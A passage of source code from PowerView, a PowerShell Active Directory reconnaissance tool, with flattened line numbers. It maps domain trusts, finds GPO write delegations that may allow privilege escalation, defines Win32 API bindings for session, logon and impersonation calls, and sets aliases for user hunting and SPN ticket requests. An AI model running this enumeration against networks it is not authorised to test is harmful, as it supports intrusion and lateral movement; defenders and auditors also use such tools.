(Get-Domain -Credential $Credential).Name 20506 } 20507 else { 20508 $CurrentDomain = (Get-Domain).Name 20509 } 20510 $Domains.Push($CurrentDomain) 20511 20512 while($Domains.Count -ne 0) { 20513 20514 $Domain = $Domains.Pop() 20515 20516 # if we haven't seen this domain before 20517 if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { 20518 20519 Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" 20520 20521 # mark it as seen in our list 20522 $Null = $SeenDomains.Add($Domain, '') 20523 20524 try { 20525 # get all the trusts for this domain 20526 $DomainTrustArguments['Domain'] = $Domain 20527 $Trusts = Get-DomainTrust @DomainTrustArguments 20528 20529 if ($Trusts -isnot [System.Array]) { 20530 $Trusts = @($Trusts) 20531 } 20532 20533 # get any forest trusts, if they exist 20534 if ($PsCmdlet.ParameterSetName -eq 'NET') { 20535 $ForestTrustArguments = @{} 20536 if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } 20537 if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } 20538 $Trusts += Get-ForestTrust @ForestTrustArguments 20539 } 20540 20541 if ($Trusts) { 20542 if ($Trusts -isnot [System.Array]) { 20543 $Trusts = @($Trusts) 20544 } 20545 20546 # enumerate each trust found 20547 ForEach ($Trust in $Trusts) { 20548 if ($Trust.SourceName -and $Trust.TargetName) { 20549 # make sure we process the target 20550 $Null = $Domains.Push($Trust.TargetName) 20551 $Trust 20552 } 20553 } 20554 } 20555 } 20556 catch { 20557 Write-Verbose "[Get-DomainTrustMapping] Error: $_" 20558 } 20559 } 20560 } 20561 } 20562 20563 20564 function Get-GPODelegation { 20565 <# 20566 .SYNOPSIS 20567 20568 Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. 20569 20570 Author: Itamar Mizrahi (@MrAnde7son) 20571 License: BSD 3-Clause 20572 Required Dependencies: None 20573 20574 .PARAMETER GPOName 20575 20576 The GPO display name to query for, wildcards accepted. 20577 20578 .PARAMETER PageSize 20579 20580 Specifies the PageSize to set for the LDAP searcher object. 20581 20582 .EXAMPLE 20583 20584 Get-GPODelegation 20585 20586 Returns all GPO delegations in current forest. 20587 20588 .EXAMPLE 20589 20590 Get-GPODelegation -GPOName 20591 20592 Returns all GPO delegations on a given GPO. 20593 #> 20594 20595 [CmdletBinding()] 20596 Param ( 20597 [String] 20598 $GPOName = '*', 20599 20600 [ValidateRange(1,10000)] 20601 [Int] 20602 $PageSize = 200 20603 ) 20604 20605 $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') 20606 20607 $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 20608 $DomainList = @($Forest.Domains) 20609 $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } 20610 foreach ($Domain in $Domains) { 20611 $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" 20612 $Searcher = New-Object System.DirectoryServices.DirectorySearcher 20613 $Searcher.SearchRoot = $Domain 20614 $Searcher.Filter = $Filter 20615 $Searcher.PageSize = $PageSize 20616 $Searcher.SearchScope = "Subtree" 20617 $listGPO = $Searcher.FindAll() 20618 foreach ($gpo in $listGPO){ 20619 $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} 20620 if ($ACL -ne $null){ 20621 $GpoACL = New-Object psobject 20622 $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath 20623 $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname 20624 $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference 20625 $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights 20626 $GpoACL 20627 } 20628 } 20629 } 20630 } 20631 20632 20633 ######################################################## 20634 # 20635 # Expose the Win32API functions and datastructures below 20636 # using PSReflect. 20637 # Warning: Once these are executed, they are baked in 20638 # and can't be changed while the script is running! 20639 # 20640 ######################################################## 20641 20642 $Mod = New-InMemoryModule -ModuleName Win32 20643 20644 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] 20645 20646 # used to parse the 'samAccountType' property for users/computers/groups 20647 $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ 20648 DOMAIN_OBJECT = '0x00000000' 20649 GROUP_OBJECT = '0x10000000' 20650 NON_SECURITY_GROUP_OBJECT = '0x10000001' 20651 ALIAS_OBJECT = '0x20000000' 20652 NON_SECURITY_ALIAS_OBJECT = '0x20000001' 20653 USER_OBJECT = '0x30000000' 20654 MACHINE_ACCOUNT = '0x30000001' 20655 TRUST_ACCOUNT = '0x30000002' 20656 APP_BASIC_GROUP = '0x40000000' 20657 APP_QUERY_GROUP = '0x40000001' 20658 ACCOUNT_TYPE_MAX = '0x7fffffff' 20659 } 20660 20661 # used to parse the 'grouptype' property for groups 20662 $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ 20663 CREATED_BY_SYSTEM = '0x00000001' 20664 GLOBAL_SCOPE = '0x00000002' 20665 DOMAIN_LOCAL_SCOPE = '0x00000004' 20666 UNIVERSAL_SCOPE = '0x00000008' 20667 APP_BASIC = '0x00000010' 20668 APP_QUERY = '0x00000020' 20669 SECURITY = '0x80000000' 20670 } -Bitfield 20671 20672 # used to parse the 'userAccountControl' property for users/groups 20673 $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ 20674 SCRIPT = 1 20675 ACCOUNTDISABLE = 2 20676 HOMEDIR_REQUIRED = 8 20677 LOCKOUT = 16 20678 PASSWD_NOTREQD = 32 20679 PASSWD_CANT_CHANGE = 64 20680 ENCRYPTED_TEXT_PWD_ALLOWED = 128 20681 TEMP_DUPLICATE_ACCOUNT = 256 20682 NORMAL_ACCOUNT = 512 20683 INTERDOMAIN_TRUST_ACCOUNT = 2048 20684 WORKSTATION_TRUST_ACCOUNT = 4096 20685 SERVER_TRUST_ACCOUNT = 8192 20686 DONT_EXPIRE_PASSWORD = 65536 20687 MNS_LOGON_ACCOUNT = 131072 20688 SMARTCARD_REQUIRED = 262144 20689 TRUSTED_FOR_DELEGATION = 524288 20690 NOT_DELEGATED = 1048576 20691 USE_DES_KEY_ONLY = 2097152 20692 DONT_REQ_PREAUTH = 4194304 20693 PASSWORD_EXPIRED = 8388608 20694 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 20695 PARTIAL_SECRETS_ACCOUNT = 67108864 20696 } -Bitfield 20697 20698 # enum used by $WTS_SESSION_INFO_1 below 20699 $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ 20700 Active = 0 20701 Connected = 1 20702 ConnectQuery = 2 20703 Shadow = 3 20704 Disconnected = 4 20705 Idle = 5 20706 Listen = 6 20707 Reset = 7 20708 Down = 8 20709 Init = 9 20710 } 20711 20712 # the WTSEnumerateSessionsEx result structure 20713 $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ 20714 ExecEnvId = field 0 UInt32 20715 State = field 1 $WTSConnectState 20716 SessionId = field 2 UInt32 20717 pSessionName = field 3 String -MarshalAs @('LPWStr') 20718 pHostName = field 4 String -MarshalAs @('LPWStr') 20719 pUserName = field 5 String -MarshalAs @('LPWStr') 20720 pDomainName = field 6 String -MarshalAs @('LPWStr') 20721 pFarmName = field 7 String -MarshalAs @('LPWStr') 20722 } 20723 20724 # the particular WTSQuerySessionInformation result structure 20725 $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ 20726 AddressFamily = field 0 UInt32 20727 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) 20728 } 20729 20730 # the NetShareEnum result structure 20731 $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ 20732 Name = field 0 String -MarshalAs @('LPWStr') 20733 Type = field 1 UInt32 20734 Remark = field 2 String -MarshalAs @('LPWStr') 20735 } 20736 20737 # the NetWkstaUserEnum result structure 20738 $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ 20739 UserName = field 0 String -MarshalAs @('LPWStr') 20740 LogonDomain = field 1 String -MarshalAs @('LPWStr') 20741 AuthDomains = field 2 String -MarshalAs @('LPWStr') 20742 LogonServer = field 3 String -MarshalAs @('LPWStr') 20743 } 20744 20745 # the NetSessionEnum result structure 20746 $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ 20747 CName = field 0 String -MarshalAs @('LPWStr') 20748 UserName = field 1 String -MarshalAs @('LPWStr') 20749 Time = field 2 UInt32 20750 IdleTime = field 3 UInt32 20751 } 20752 20753 # enum used by $LOCALGROUP_MEMBERS_INFO_2 below 20754 $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ 20755 SidTypeUser = 1 20756 SidTypeGroup = 2 20757 SidTypeDomain = 3 20758 SidTypeAlias = 4 20759 SidTypeWellKnownGroup = 5 20760 SidTypeDeletedAccount = 6 20761 SidTypeInvalid = 7 20762 SidTypeUnknown = 8 20763 SidTypeComputer = 9 20764 } 20765 20766 # the NetLocalGroupEnum result structure 20767 $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ 20768 lgrpi1_name = field 0 String -MarshalAs @('LPWStr') 20769 lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') 20770 } 20771 20772 # the NetLocalGroupGetMembers result structure 20773 $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ 20774 lgrmi2_sid = field 0 IntPtr 20775 lgrmi2_sidusage = field 1 $SID_NAME_USE 20776 lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') 20777 } 20778 20779 # enums used in DS_DOMAIN_TRUSTS 20780 $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ 20781 IN_FOREST = 1 20782 DIRECT_OUTBOUND = 2 20783 TREE_ROOT = 4 20784 PRIMARY = 8 20785 NATIVE_MODE = 16 20786 DIRECT_INBOUND = 32 20787 } -Bitfield 20788 $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ 20789 DOWNLEVEL = 1 20790 UPLEVEL = 2 20791 MIT = 3 20792 DCE = 4 20793 } 20794 $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ 20795 NON_TRANSITIVE = 1 20796 UPLEVEL_ONLY = 2 20797 FILTER_SIDS = 4 20798 FOREST_TRANSITIVE = 8 20799 CROSS_ORGANIZATION = 16 20800 WITHIN_FOREST = 32 20801 TREAT_AS_EXTERNAL = 64 20802 } 20803 20804 # the DsEnumerateDomainTrusts result structure 20805 $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ 20806 NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') 20807 DnsDomainName = field 1 String -MarshalAs @('LPWStr') 20808 Flags = field 2 $DsDomainFlag 20809 ParentIndex = field 3 UInt32 20810 TrustType = field 4 $DsDomainTrustType 20811 TrustAttributes = field 5 $DsDomainTrustAttributes 20812 DomainSid = field 6 IntPtr 20813 DomainGuid = field 7 Guid 20814 } 20815 20816 # used by WNetAddConnection2W 20817 $NETRESOURCEW = struct $Mod NETRESOURCEW @{ 20818 dwScope = field 0 UInt32 20819 dwType = field 1 UInt32 20820 dwDisplayType = field 2 UInt32 20821 dwUsage = field 3 UInt32 20822 lpLocalName = field 4 String -MarshalAs @('LPWStr') 20823 lpRemoteName = field 5 String -MarshalAs @('LPWStr') 20824 lpComment = field 6 String -MarshalAs @('LPWStr') 20825 lpProvider = field 7 String -MarshalAs @('LPWStr') 20826 } 20827 20828 # all of the Win32 API functions we need 20829 $FunctionDefinitions = @( 20830 (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 20831 (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 20832 (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 20833 (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 20834 (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 20835 (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), 20836 (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), 20837 (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), 20838 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), 20839 (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), 20840 (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), 20841 (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), 20842 (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), 20843 (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), 20844 (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), 20845 (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), 20846 (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), 20847 (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), 20848 (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), 20849 (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), 20850 (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), 20851 (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), 20852 (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) 20853 ) 20854 20855 $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 20856 $Netapi32 = $Types['netapi32'] 20857 $Advapi32 = $Types['advapi32'] 20858 $Wtsapi32 = $Types['wtsapi32'] 20859 $Mpr = $Types['Mpr'] 20860 $Kernel32 = $Types['kernel32'] 20861 20862 Set-Alias Get-IPAddress Resolve-IPAddress 20863 Set-Alias Convert-NameToSid ConvertTo-SID 20864 Set-Alias Convert-SidToName ConvertFrom-SID 20865 Set-Alias Request-SPNTicket Get-DomainSPNTicket 20866 Set-Alias Get-DNSZone Get-DomainDNSZone 20867 Set-Alias Get-DNSRecord Get-DomainDNSRecord 20868 Set-Alias Get-NetDomain Get-Domain 20869 Set-Alias Get-NetDomainController Get-DomainController 20870 Set-Alias Get-NetForest Get-Forest 20871 Set-Alias Get-NetForestDomain Get-ForestDomain 20872 Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog 20873 Set-Alias Get-NetUser Get-DomainUser 20874 Set-Alias Get-UserEvent Get-DomainUserEvent 20875 Set-Alias Get-NetComputer Get-DomainComputer 20876 Set-Alias Get-ADObject Get-DomainObject 20877 Set-Alias Set-ADObject Set-DomainObject 20878 Set-Alias Get-ObjectAcl Get-DomainObjectAcl 20879 Set-Alias Add-ObjectAcl Add-DomainObjectAcl 20880 Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl 20881 Set-Alias Get-GUIDMap Get-DomainGUIDMap 20882 Set-Alias Get-NetOU Get-DomainOU 20883 Set-Alias Get-NetSite Get-DomainSite 20884 Set-Alias Get-NetSubnet Get-DomainSubnet 20885 Set-Alias Get-NetGroup Get-DomainGroup 20886 Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup 20887 Set-Alias Get-NetGroupMember Get-DomainGroupMember 20888 Set-Alias Get-NetFileServer Get-DomainFileServer 20889 Set-Alias Get-DFSshare Get-DomainDFSShare 20890 Set-Alias Get-NetGPO Get-DomainGPO 20891 Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup 20892 Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping 20893 Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping 20894 Set-Alias Get-LoggedOnLocal Get-RegLoggedOn 20895 Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess 20896 Set-Alias Get-SiteName Get-NetComputerSiteName 20897 Set-Alias Get-Proxy Get-WMIRegProxy 20898 Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn 20899 Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection 20900 Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive 20901 Set-Alias Get-NetProcess Get-WMIProcess 20902 Set-Alias Invoke-ThreadedFunction New-ThreadedFunction 20903 Set-Alias Invoke-UserHunter Find-DomainUserLocation 20904 Set-Alias Invoke-ProcessHunter Find-DomainProcess 20905 Set-Alias Invoke-EventHunter Find-DomainUserEvent 20906 Set-Alias Invoke-ShareFinder Find-DomainShare 20907 Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile 20908 Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember 20909 Set-Alias Get-NetDomainTrust Get-DomainTrust 20910 Set-Alias Get-NetForestTrust Get-ForestTrust 20911 Set-Alias Find-ForeignUser Get-DomainForeignUser 20912 Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember 20913 Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping 20914 Set-Alias Get-DomainPolicy Get-DomainPolicyData